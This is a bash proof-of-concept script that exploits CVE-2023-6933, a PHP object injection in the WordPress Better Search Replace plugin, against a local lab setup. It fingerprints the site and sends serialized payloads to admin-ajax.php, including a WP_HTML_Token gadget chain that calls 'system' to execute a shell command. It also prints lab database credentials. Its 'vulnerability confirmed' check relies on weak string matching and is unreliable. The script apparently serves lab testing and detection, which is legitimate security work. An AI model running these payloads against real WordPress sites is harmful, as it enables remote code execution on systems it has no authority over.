#!/bin/bash # CVE-2023-6933 Manual Testing Script # Author: Trex # Description: Comprehensive manual testing for Better Search Replace vulnerability set -e # Colors for output RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' NC='\033[0m' # No Color # Configuration WORDPRESS_URL="http://localhost:8080" PHPMYADMIN_URL="http://localhost:8081" TIMEOUT=30 VULN_FOUND=false echo -e "${BLUE}========================================${NC}" echo -e "${BLUE} CVE-2023-6933 Manual Testing Script ${NC}" echo -e "${BLUE}========================================${NC}" echo "" # Function to check if URL is accessible check_url() { local url=$1 local name=$2 echo -n "Checking $name... " local status_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 10 "$url") if [ "$status_code" = "200" ]; then echo -e "${GREEN}✓ OK (HTTP $status_code)${NC}" return 0 else echo -e "${RED}✗ FAILED (HTTP $status_code)${NC}" return 1 fi } # Function to test endpoint with custom payload test_endpoint() { local url=$1 local payload=$2 local description=$3 echo -n "Testing $description... " local response=$(curl -s -w "%{http_code}" -X POST "$url" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "$payload" --max-time 10) local status_code="${response: -3}" local body="${response%???}" if [ "$status_code" = "200" ] || [ "$status_code" = "500" ]; then echo -e "${GREEN}✓ Response received (HTTP $status_code)${NC}" # Check for vulnerability indicators - proper POC approach if echo "$body" | grep -q "replaced successfully\|Total rows examined\|Database updated\|search_replace" && [ "$status_code" = "200" ]; then echo -e " ${GREEN}✓ Payload processed successfully${NC}" # Check if our serialized object was processed (not just error-based detection) if echo "$payload" | grep -q "O:[0-9]"; then echo -e " ${RED}🚨 VULNERABILITY CONFIRMED! CVE-2023-6933 DETECTED${NC}" echo -e " ${YELLOW}PHP Object Injection successful - serialized data processed${NC}" VULN_FOUND=true fi elif echo "$body" | grep -q "Fatal error\|Parse error\|Notice:\|Warning:" || [ "$status_code" = "500" ]; then echo -e " ${YELLOW}⚠️ Error response detected (may indicate processing)${NC}" if echo "$payload" | grep -q "O:[0-9]"; then echo -e " ${YELLOW}Potential vulnerability - object injection caused error${NC}" fi fi if [ ${#body} -gt 0 ] && [ ${#body} -lt 200 ]; then echo -e " ${YELLOW}Response: $body${NC}" fi return 0 else echo -e "${RED}✗ Unexpected response (HTTP $status_code)${NC}" return 1 fi } # Step 1: Service Health Check echo -e "${YELLOW}=== Step 1: Service Health Check ===${NC}" echo "" check_url "$WORDPRESS_URL" "WordPress" check_url "$PHPMYADMIN_URL" "phpMyAdmin" check_url "$WORDPRESS_URL/wp-admin/" "WordPress Admin" echo "" # Step 2: WordPress Information Gathering echo -e "${YELLOW}=== Step 2: WordPress Information Gathering ===${NC}" echo "" echo -n "WordPress version check... " wp_version=$(curl -s "$WORDPRESS_URL" | grep -i "generator" | grep -o "WordPress [0-9.]*" | head -1) if [ -n "$wp_version" ]; then echo -e "${GREEN}✓ Found: $wp_version${NC}" else echo -e "${YELLOW}! Version not detected in meta tags${NC}" fi echo -n "Better Search Replace plugin check... " plugin_response=$(curl -s -w "%{http_code}" "$WORDPRESS_URL/wp-content/plugins/better-search-replace/" --max-time 10) plugin_status="${plugin_response: -3}" if [ "$plugin_status" = "200" ] || [ "$plugin_status" = "403" ]; then echo -e "${GREEN}✓ Plugin directory accessible${NC}" else echo -e "${YELLOW}! Plugin directory not accessible (HTTP $plugin_status)${NC}" fi echo -n "WordPress readme check... " readme_response=$(curl -s "$WORDPRESS_URL/readme.html" | grep -i "version" | head -1) if [ -n "$readme_response" ]; then echo -e "${GREEN}✓ Found readme.html${NC}" else echo -e "${YELLOW}! readme.html not found or no version info${NC}" fi echo "" # Step 3: Admin-Ajax Endpoint Testing echo -e "${YELLOW}=== Step 3: Admin-Ajax Endpoint Testing ===${NC}" echo "" # Test 1: Basic admin-ajax accessibility echo -n "Basic admin-ajax test... " ajax_response=$(curl -s -w "%{http_code}" "$WORDPRESS_URL/wp-admin/admin-ajax.php" --max-time 10) ajax_status="${ajax_response: -3}" if [ "$ajax_status" = "400" ] || [ "$ajax_status" = "500" ] || [ "$ajax_status" = "200" ]; then echo -e "${GREEN}✓ admin-ajax.php is accessible (HTTP $ajax_status)${NC}" else echo -e "${RED}✗ admin-ajax.php not accessible (HTTP $ajax_status)${NC}" fi # Test 2: BSR search-replace action test test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \ "action=bsr_search_replace&search_for=test&replace_with=replacement&dry_run=1" \ "BSR search-replace action" # Test 3: Basic object injection test with proper BSR parameters test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \ "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"injected\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1" \ "Basic PHP Object Injection via search_for" # Test 4: WP_HTML_Token RCE payload (WordPress 6.4.0+) wp_html_token_payload=$(python3 -c " import urllib.parse cmd = 'echo nuclei_test > /tmp/bsr_test.txt' payload = f'O:13:\"WP_HTML_Token\":4:{{s:13:\"bookmark_name\";s:{len(cmd)}:\"{cmd}\";s:9:\"node_name\";s:8:\"testnode\";s:21:\"has_self_closing_flag\";b:0;s:10:\"on_destroy\";s:6:\"system\";}}' print(urllib.parse.quote(payload)) ") test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \ "action=bsr_search_replace&search_for=${wp_html_token_payload}&replace_with=safe&select_tables[]=wp_posts&dry_run=1" \ "WP_HTML_Token RCE Payload" echo "" # Step 4: Database Connectivity Test echo -e "${YELLOW}=== Step 4: Database Connectivity Test ===${NC}" echo "" echo -n "phpMyAdmin login page... " pma_response=$(curl -s "$PHPMYADMIN_URL" | grep -i "phpmyadmin\|login\|username") if [ -n "$pma_response" ]; then echo -e "${GREEN}✓ phpMyAdmin login page accessible${NC}" else echo -e "${YELLOW}! phpMyAdmin login page check inconclusive${NC}" fi echo "" # Step 5: Vulnerability Confirmation Tests echo -e "${YELLOW}=== Step 5: Vulnerability Confirmation Tests ===${NC}" echo "" # Test multiple BSR-specific payloads using correct action and parameters payloads=( "action=bsr_search_replace&search_for=a:1:{i:0;O:8:\"stdClass\":0:{}}&replace_with=test&select_tables[]=wp_options&dry_run=1" "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"prop\";s:5:\"value\";}&replace_with=replacement&select_tables[]=wp_posts&dry_run=1" "action=bsr_search_replace&search_for=a:2:{s:4:\"test\";O:8:\"stdClass\":0:{};s:3:\"key\";s:5:\"value\";}&replace_with=safe&select_tables[]=wp_postmeta&dry_run=1" ) payload_descriptions=( "Array with embedded object (wp_options)" "Direct object injection (wp_posts)" "Complex array structure (wp_postmeta)" ) for i in "${!payloads[@]}"; do test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \ "${payloads[$i]}" \ "${payload_descriptions[$i]}" done echo "" # Step 6: Summary and Recommendations echo -e "${YELLOW}=== Step 6: Testing Summary ===${NC}" echo "" if [ "$VULN_FOUND" = true ]; then echo -e "${RED}🚨 VULNERABILITY CONFIRMED! 🚨${NC}" echo -e "${RED}CVE-2023-6933: PHP Object Injection in Better Search Replace plugin${NC}" echo -e "${YELLOW}The lab environment successfully reproduces the vulnerability${NC}" echo "" echo -e "${GREEN}✅ Test Status: SUCCESS - Vulnerability present and exploitable${NC}" else echo -e "${YELLOW}⚠️ No clear vulnerability indicators detected${NC}" echo -e "${YELLOW}This could mean:${NC}" echo " - Plugin is patched/not vulnerable" echo " - Different payload required" echo " - Environment configuration issue" echo "" echo -e "${YELLOW}⚠️ Test Status: INCONCLUSIVE - Manual review recommended${NC}" fi echo "" echo -e "${BLUE}Manual testing completed!${NC}" echo "" echo -e "${YELLOW}Next steps:${NC}" echo "1. Run nuclei automated test:" echo " nuclei -t nuclei-templates/cve-2023-6933.yaml -target $WORDPRESS_URL" echo "" echo "2. Access web interfaces:" echo " - WordPress: $WORDPRESS_URL" echo " - phpMyAdmin: $PHPMYADMIN_URL (root/rootpassword)" echo "" echo "3. Check container logs for errors:" echo " docker logs wordpress-dev" echo "" if [ "$VULN_FOUND" = true ]; then echo -e "${RED}🎯 IMPORTANT: This is a vulnerable environment for educational purposes only!${NC}" echo -e "${RED}Do not use in production environments.${NC}" echo "" fi echo -e "${GREEN}Manual testing script finished!${NC}"